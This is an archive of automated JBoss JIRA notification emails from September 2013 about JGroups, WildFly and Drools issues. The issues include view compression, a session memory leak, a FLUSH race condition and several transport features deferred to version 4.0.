* It should be possible to turn this behavior off, so a coordinator will always send full views, and to change this at runtime.
* The marshalling code needs to be able to handle both full- and delta- views.

  was:
In clusters with many members, a View can be large. See if we can compress views. Possible strategies:
- Canonicalization of addresses (replace UUIDs with shorts) see different JIRA)
- Compress digests (see different JIRA)
- Keep a list of ViewIds and Views and only send the ViewIds (not for JoinRsp !)
- Create a DiffView: send the previous ViewId V1, the new ViewId V2, and the diff between V1 and V2, for example
  - V34=V33 + N1 + N2
  - V34=V33 - N30 - N13 + N3 (2 nodes left, 1 node joined)
  - The receiver can then construct a full view from V34, V33 and the diffs


    
> Compress views
> --------------
>
>                 Key: JGRP-1354
>                 URL: https://issues.jboss.org/browse/JGRP-1354
>             Project: JGroups
>          Issue Type: Enhancement
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> In clusters with many members, a view can be large. Currently, when a new member joins, or an existing member leaves, the coordinator sends a view to all existing members and a JoinRsp to the new joiner(s).
> The view currently contains *all members*, and the serialized VIEW message can be large.
> The goal of this JIRA is therefore to reduce the size of the VIEW message sent to all members.
> This can be done by:
> * Sending the first view of a given coordinator as full view
> * Sending subsequent views only as diffs (delta views)
> ** A delta view contains a view-id (can possibly be omitted), which is the previous view, and an array of members which left and members which joined
> * When unmarshalling a delta-view, the receiver can create the new view as a copy of the old view, minus the left members, plus the joining members
> * When the coordinator changes, the new coordinator always sends its first view as full view
> * MergeViews are always sent as full views
> * It should be possible to turn this behavior off, so a coordinator will always send full views, and to change this at runtime.
> * The marshalling code needs to be able to handle both full- and delta- views.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 05:51:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 05:51:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1354) Compress views
In-Reply-To: <JIRA.12444903.1313572136000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12444903.1313572136000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12444903.1313572136000.25228.1379065864252@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1354?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804123#comment-12804123 ] 

Bela Ban commented on JGRP-1354:
--------------------------------

The size of a view with 1000 members is currently 17021 bytes (SizeTest.testLargeView()).
                
> Compress views
> --------------
>
>                 Key: JGRP-1354
>                 URL: https://issues.jboss.org/browse/JGRP-1354
>             Project: JGroups
>          Issue Type: Enhancement
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> In clusters with many members, a view can be large. Currently, when a new member joins, or an existing member leaves, the coordinator sends a view to all existing members and a JoinRsp to the new joiner(s).
> The view currently contains *all members*, and the serialized VIEW message can be large.
> The goal of this JIRA is therefore to reduce the size of the VIEW message sent to all members.
> This can be done by:
> * Sending the first view of a given coordinator as full view
> * Sending subsequent views only as diffs (delta views)
> ** A delta view contains a view-id (can possibly be omitted), which is the previous view, and an array of members which left and members which joined
> * When unmarshalling a delta-view, the receiver can create the new view as a copy of the old view, minus the left members, plus the joining members
> * When the coordinator changes, the new coordinator always sends its first view as full view
> * MergeViews are always sent as full views
> * It should be possible to turn this behavior off, so a coordinator will always send full views, and to change this at runtime.
> * The marshalling code needs to be able to handle both full- and delta- views.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 05:51:04 2013
From: jira-events at lists.jboss.org (Gytis Trikleris (JIRA))
Date: Fri, 13 Sep 2013 05:51:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2064) Automatically add the
 "org.jboss.xts" dependency for XTS applications
In-Reply-To: <JIRA.12500673.1379065815713@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500673.1379065815713@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500673.1379065815713.25226.1379065864167@jira02.app.mwc.hst.phx2.redhat.com>

Gytis Trikleris created WFLY-2064:
-------------------------------------

             Summary: Automatically add the "org.jboss.xts" dependency for XTS applications
                 Key: WFLY-2064
                 URL: https://issues.jboss.org/browse/WFLY-2064
             Project: WildFly
          Issue Type: Enhancement
          Components: XTS
            Reporter: Gytis Trikleris
            Assignee: Gytis Trikleris
             Fix For: 8.0.0.Beta1


At deployment time we should automatically add the org.jboss.xts dependency for applications that need it.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 06:07:03 2013
From: jira-events at lists.jboss.org (Michael Musgrove (JIRA))
Date: Fri, 13 Sep 2013 06:07:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2065) Update jboss-transaction-spi
In-Reply-To: <JIRA.12500674.1379066770460@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500674.1379066770460@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500674.1379066770460.25249.1379066823871@jira02.app.mwc.hst.phx2.redhat.com>

Michael Musgrove created WFLY-2065:
--------------------------------------

             Summary: Update jboss-transaction-spi
                 Key: WFLY-2065
                 URL: https://issues.jboss.org/browse/WFLY-2065
             Project: WildFly
          Issue Type: Bug
          Components: Transactions
    Affects Versions: 8.0.0.Alpha4
            Reporter: Michael Musgrove
            Assignee: Michael Musgrove
             Fix For: 8.0.0.Beta1


The JPA integration test suite tests that the afterCompletion synchonization callback for timed out transactions is called from the TM transaction reaper thread by hard coding the reaper thread name. The latest SPI jar includes an interface method that does the same job. I'd like to update the test suite to use the new SPI method.

I have marked the jira as a bug since testing against the reaper thread name is brittle.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 06:44:03 2013
From: jira-events at lists.jboss.org (Gytis Trikleris (JIRA))
Date: Fri, 13 Sep 2013 06:44:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2064) Automatically add the
 "org.jboss.xts" dependency for XTS applications
In-Reply-To: <JIRA.12500673.1379065815000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500673.1379065815000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500673.1379065815000.25275.1379069043315@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2064?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Gytis Trikleris reopened WFLY-2064:
-----------------------------------


    
> Automatically add the "org.jboss.xts" dependency for XTS applications
> ---------------------------------------------------------------------
>
>                 Key: WFLY-2064
>                 URL: https://issues.jboss.org/browse/WFLY-2064
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: XTS
>            Reporter: Gytis Trikleris
>            Assignee: Gytis Trikleris
>             Fix For: 8.0.0.Beta1
>
>
> At deployment time we should automatically add the org.jboss.xts dependency for applications that need it.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 07:47:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 07:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-72) Potential memory leak in
 StatelessKnowledgeSessionImpl#execute when fireAllRules throwing
 RuntimeException
In-Reply-To: <JIRA.12486763.1362705976000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12486763.1362705976000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12486763.1362705976000.25313.1379072823470@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-72?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804139#comment-12804139 ] 

RH Bugzilla Integration commented on DROOLS-72:
-----------------------------------------------

Petr Siroky <psiroky at redhat.com> made a comment on [bug 995023|https://bugzilla.redhat.com/show_bug.cgi?id=995023]

Verified that insert() and fireAllRules() methods are now wrapped inside try-finally block (ksession is disposed in finally). I am marking this as verified.
                
> Potential memory leak in StatelessKnowledgeSessionImpl#execute when fireAllRules throwing RuntimeException
> ----------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-72
>                 URL: https://issues.jboss.org/browse/DROOLS-72
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Trung Nguyen
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.Alpha9
>
>
> when {{ksession.fireAllRules()}} throws RuntimeException, it cause {{ksession}} never gets released. 
> {code:lang=java} 
> public void execute(Object object) {
>         StatefulKnowledgeSession ksession = newWorkingMemory();
>         ksession.insert( object );
>         ksession.fireAllRules( );
>         ksession.dispose();
>     }
>     public void execute(Iterable objects) {
>         StatefulKnowledgeSession ksession = newWorkingMemory();
>         for ( Object object : objects ) {
>             ksession.insert( object );
>         }
>         ksession.fireAllRules( );
>         ksession.dispose();
>     }
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 07:47:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 07:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-72) Potential memory leak in
 StatelessKnowledgeSessionImpl#execute when fireAllRules throwing
 RuntimeException
In-Reply-To: <JIRA.12486763.1362705976000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12486763.1362705976000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12486763.1362705976000.25316.1379072823606@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-72?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804140#comment-12804140 ] 

RH Bugzilla Integration commented on DROOLS-72:
-----------------------------------------------

Petr Siroky <psiroky at redhat.com> changed the Status of [bug 995023|https://bugzilla.redhat.com/show_bug.cgi?id=995023] from ON_QA to VERIFIED
                
> Potential memory leak in StatelessKnowledgeSessionImpl#execute when fireAllRules throwing RuntimeException
> ----------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-72
>                 URL: https://issues.jboss.org/browse/DROOLS-72
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Trung Nguyen
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.Alpha9
>
>
> when {{ksession.fireAllRules()}} throws RuntimeException, it cause {{ksession}} never gets released. 
> {code:lang=java} 
> public void execute(Object object) {
>         StatefulKnowledgeSession ksession = newWorkingMemory();
>         ksession.insert( object );
>         ksession.fireAllRules( );
>         ksession.dispose();
>     }
>     public void execute(Iterable objects) {
>         StatefulKnowledgeSession ksession = newWorkingMemory();
>         for ( Object object : objects ) {
>             ksession.insert( object );
>         }
>         ksession.fireAllRules( );
>         ksession.dispose();
>     }
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:16:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 08:16:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1682) STOP_FLUSH race condition in
	3.x
In-Reply-To: <JIRA.12499238.1377211662000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499238.1377211662000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499238.1377211662000.25361.1379074564290@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1682?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804150#comment-12804150 ] 

Bela Ban commented on JGRP-1682:
--------------------------------

Note that if you want this fixed in 3.4: I'm planning on releasing 3.4.0.Final by Oct 3rd, so this would have to get fixed before then, or else I'll push it into 3.5.
                
> STOP_FLUSH race condition in 3.x
> --------------------------------
>
>                 Key: JGRP-1682
>                 URL: https://issues.jboss.org/browse/JGRP-1682
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.3.4
>            Reporter: Dennis Reed
>            Assignee: Dennis Reed
>             Fix For: 3.3.6, 3.4
>
>
> Similar to JGRP-1674.
> flush_unblock_promise in FLUSH is not reset before use in waitForUnblock.
> *Any* UNBLOCK (such as another node running FLUSH) will set it, not just the expected UNBLOCK.
> The next call to waitForUnblock will not block.
> (and if the UNBLOCK it was waiting for comes later, it will trigger the issue again on the next waitForUnblock).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:24:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 08:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1681) SCTP transport
In-Reply-To: <JIRA.12498955.1376983663000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498955.1376983663000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498955.1376983663000.25375.1379075043631@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1681?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1681:
---------------------------

    Fix Version/s: 4.0
                       (was: 3.5)

    
> SCTP transport
> --------------
>
>                 Key: JGRP-1681
>                 URL: https://issues.jboss.org/browse/JGRP-1681
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 4.0
>
>
> Provide a new transport based on SCTP. The advantages of SCTP are:
> * Message based (like UDP), not stream based (like TCP), but still reliable
> * Allows to bind to multiple endpoints (failover)
> This requires the new NIO2 based transport to be completed, so this feature will probably be moved into a next release. Also, in JDK we only have a com.sun.nio.sctp package; once this is standardized it will be in a java.nio.channels.sctp package.
> [1] http://www.oracle.com/technetwork/articles/javase/index-139946.html

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:24:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 08:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1680) RDMA based transport
In-Reply-To: <JIRA.12498832.1376817395000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498832.1376817395000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498832.1376817395000.25379.1379075043816@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1680?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1680:
---------------------------

    Fix Version/s: 4.0
                       (was: 3.5)

    
> RDMA based transport
> --------------------
>
>                 Key: JGRP-1680
>                 URL: https://issues.jboss.org/browse/JGRP-1680
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 4.0
>
>
> Investigate whether an RDMA based transport makes sense.
> Advantages:
> * Speed, low latency (TCP/IP is bypassed entirely)
> * Low CPU usage
> Disadvantages:
> * JNI/C code
> ** Such a transport implementation would have to live outside of the JGroups repo
> ** Maintainability nightmare: the C code would also have to be ported to various OSes
> *** Investigate Java based libs (IBM's jVerbs) and C based libs (Apache Portable Runtime?)
> * High memory use, growing with cluster size: similarly to TCP, a 'group multicast' would involve N-1 sends. RDMA requires a Queue Pair (QP) for each destination. Each QP requires pinned memory (receive and send buffer), so each node would have to reserve (pin) N-1 memory buffers [1]
> ** OTOH, we may not use many group multicasts, e.g. with Infinispan's partial replication (DIST mode)
> * High cost of RDMA adapters, NICs and wiring: only a very small fraction of users would run such a transport.
> [1] http://www.hpcwire.com/hpcwire/2006-08-18/a_critique_of_rdma-1.html

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:24:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 08:24:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1672) Shared memory to send message
 between different processes on the same box
In-Reply-To: <JIRA.12498055.1375790267000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498055.1375790267000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498055.1375790267000.25384.1379075044028@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1672?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1672:
---------------------------

    Fix Version/s: 4.0
                       (was: 3.5)

    
> Shared memory to send message between different processes on the same box
> -------------------------------------------------------------------------
>
>                 Key: JGRP-1672
>                 URL: https://issues.jboss.org/browse/JGRP-1672
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 4.0
>
>         Attachments: ShmTest.java
>
>
> Investigate whether it makes sense to use shared memory to pass messages between processes on the same box. Say if we have A, B and C on box-1 and X, Y, Z on box-2, when A multicasts a message, it could loop it back to itself, place it into shared memory for B and C to read and multicast it to X, Y, Z. The multicast socket could be non-loopback, so box-1 would not receive it.
> Problems:
> * Shared memory in Java can only be done via memory mapped (sequential or random access) files. To pass a lot of messages, something like a ring buffer would have to be created in shared memory
> * Unless we use FileLock, or polling/busy reading, there is no way to know when a producer has written a message into shared memory. We'd therefore have to use a signalling mechanism, probably a small JGroups message, to notify the consumer(s) of new messages.
> ** Alternatively, we could do busy waiting: the producer writes into a memory location when a message is ready to be consumed. Perhaps this memory location can be the number of messages ready to be read. The consumer could busy-wait, and decrement the number of messages read. This variable could be protected by a file lock, so after some amount of busy-waiting, the consumer could go back and do a real wait on the file lock, instead of burning CPU doing busy-waits.
> * For multicast messages, we'd have 1 producer but many consumers. A RingBuffer would not work here, as we don't know when all consumers have read a given message, ie. when to advance the read pointer
> ** As an alternative, we could have one shared memory buffer per member on the same host. This would also cater to unicast messages. However, then we'd use up a lot of memory.
> * How would this work for TCP ? We'd have to send the message to only members which are outside the local box. How do we identify those members ?
> * Message reception: a multicast message received and targetted to all members on the same box could also be placed into shared memory, so everyone on the same box receives it
> ** How would this work for TCP ? E.g. A sending a multicast message M would use shared memory to deliver M to B and C on box-1, but if it sends it to X, Y and Z, then that's unneeded work, as it could send it only to X, which could place it into shared memory for Y and Z to consume M.
> *** We'd have to include the knowledge of 'affinity' into an address

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:24:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 08:24:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1561) Fluent configuration for
 JChannel and other classes; make attrs accessible via ResourceDMBean
In-Reply-To: <JIRA.12482538.1358163911000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12482538.1358163911000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12482538.1358163911000.25388.1379075044233@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1561?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1561:
---------------------------

    Fix Version/s: 4.0
                       (was: 3.5)

    
> Fluent configuration for JChannel and other classes; make attrs accessible via ResourceDMBean
> ---------------------------------------------------------------------------------------------
>
>                 Key: JGRP-1561
>                 URL: https://issues.jboss.org/browse/JGRP-1561
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 4.0
>
>
> E.g. JChannel.connect() should return JChannel, so we can say
> JChannel a=createChannel().name("A").connect("cluster");
> Once we have getters / setters like JChannel name(String n), we need to change ResourceDMBean as it expects getters and setters to start with getXXX() and setXXX().

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:24:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 08:24:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1424) TP: use of multiple transports
In-Reply-To: <JIRA.12459420.1329470935000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12459420.1329470935000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12459420.1329470935000.25392.1379075044404@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1424?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1424:
---------------------------

    Fix Version/s: 4.0
                       (was: 3.5)

    
> TP: use of multiple transports
> ------------------------------
>
>                 Key: JGRP-1424
>                 URL: https://issues.jboss.org/browse/JGRP-1424
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 4.0
>
>
> Refactor TP so that the socket sending and receiving is done in a separate class (UDP, TCP, TCP_NIO). Once this is done, add the ability to attach multiple transports to TP, e.g. UDP and TCP.
> The UDP transport could then be used for cluster wide messages (null destination) and the TCP transport could be used for unicast messages (non-null destination).
> Or this could be overridden by a message flag on a per-message basis !
> We could even attach multiple transports of the same type, e.g. one per physical network (10.x.x.x and 192.168.x.x), and do round-robin sending over them.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:24:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 08:24:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1225) Remove BasicConnectionTable
In-Reply-To: <JIRA.12414328.1279024964000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12414328.1279024964000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12414328.1279024964000.25395.1379075044544@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1225?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1225:
---------------------------

    Fix Version/s: 4.0
                       (was: 3.5)

    
> Remove BasicConnectionTable
> ---------------------------
>
>                 Key: JGRP-1225
>                 URL: https://issues.jboss.org/browse/JGRP-1225
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 4.0
>
>
> Currently still used by TCP_NIO (ConnectionTableNIO). When we move to NIO2, we can drop this class, as it will be obsolete

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:24:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 08:24:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-886) TCP: single implementation
	based on NIO
In-Reply-To: <JIRA.12377403.1231857049000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12377403.1231857049000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12377403.1231857049000.25400.1379075044727@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-886?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-886:
--------------------------

    Fix Version/s: 4.0
                       (was: 3.5)

    
> TCP: single implementation based on NIO
> ---------------------------------------
>
>                 Key: JGRP-886
>                 URL: https://issues.jboss.org/browse/JGRP-886
>             Project: JGroups
>          Issue Type: Task
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 4.0
>
>
> Merge TCP and TCP_NIO into one protocol. Adapt it to use NIO2 (when available).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:24:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 08:24:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-816) TP: avoid copying when
	receiving data
In-Reply-To: <JIRA.12366079.1219401924000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12366079.1219401924000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12366079.1219401924000.25407.1379075044973@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-816?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-816:
--------------------------

    Fix Version/s: 4.0
                       (was: 3.5)

    
> TP: avoid copying when receiving data
> -------------------------------------
>
>                 Key: JGRP-816
>                 URL: https://issues.jboss.org/browse/JGRP-816
>             Project: JGroups
>          Issue Type: Sub-task
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 4.0
>
>
> Currently, we receive data into a byte[] buffer, e.g. from DatagramSocket.receive(), but then have to COPY buffer when passing it to a worker from the thread pool. The copy is needed because the next DatargamSocket.receive() will overwrite the contents of buffer, and if the worker thread is still unmarshalling the data from the buffer, it might read corrupt contents.
> To overcome this, investigate the following:
> - Every worker thread has it own buffer
> - When the thread has been idle for N seconds and is removed from the pool, that buffer will be discarded
> - We create DatagramChannels from the socket(s) (DatagramSocket, MulticastSocket or Socket)
> - A selector is called when new data is available on the socket
> - The key returned by the selector points to the right channel
> - We pass the channel to a thread pool worker thread and continue with the select() loop
> - The worker then reads the data into its own buffer, unmarshalls it and passed it up the stack
> ==> No copy of the buffer is required as the thread's buffer is available until the message has been processed (usually until message unmarshalling)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:26:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 08:26:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-815) Scatter/Gather to avoid copying
In-Reply-To: <JIRA.12366075.1219398846000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12366075.1219398846000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12366075.1219398846000.25414.1379075163553@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-815?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-815:
--------------------------

    Fix Version/s: 4.0
                       (was: 3.5)

    
> Scatter/Gather to avoid copying
> -------------------------------
>
>                 Key: JGRP-815
>                 URL: https://issues.jboss.org/browse/JGRP-815
>             Project: JGroups
>          Issue Type: Sub-task
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 4.0
>
>
> When we invoke Channel.send(), we pass a bufffer to JGroups. At the transport level, JGroups marshals the sender and destination address, plus all headers and the buffer into a new byte[] buffer, which is then passed to the socket (DatagramSocket, MulticastSocket, Socket).
> We cannot do gathering writes on a DatagramSocket because DatagramSocket doesn't expose this functionality, contrary to a DatagramChannel.
> We could avoid having to copy the user's buffer by using gathering writes: effectively passing to the socket NIO ByteBuffers containing:
> 1: Src and dest address plus flags, plus possibly size
> 2: The marshalled headers
> 3: The buffer passed to JGroups by the user
> We can obtain a gathering-write channel as follows:
> ByteBuffer[] buffers; // contains the 3 byte buffers above
> DatagramSocket sock;
> DatagramChannel ch=sock.getChannel();
> ch.write(buffers, 0, length); // length is the number of bytes of the total marshalled message
> This is supported by a GatheringByteChannel.
> I don't think there's currently a need to do scattered reads, but this needs to get investigated more. Also investigate whether MulticastSockets support gathering writes (whether they expose the correct DatagramChannel).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:26:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 08:26:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-809) Copyless stack
In-Reply-To: <JIRA.12364518.1217507249000@jira02.app.mwc.hst.phx2.redhat.com>
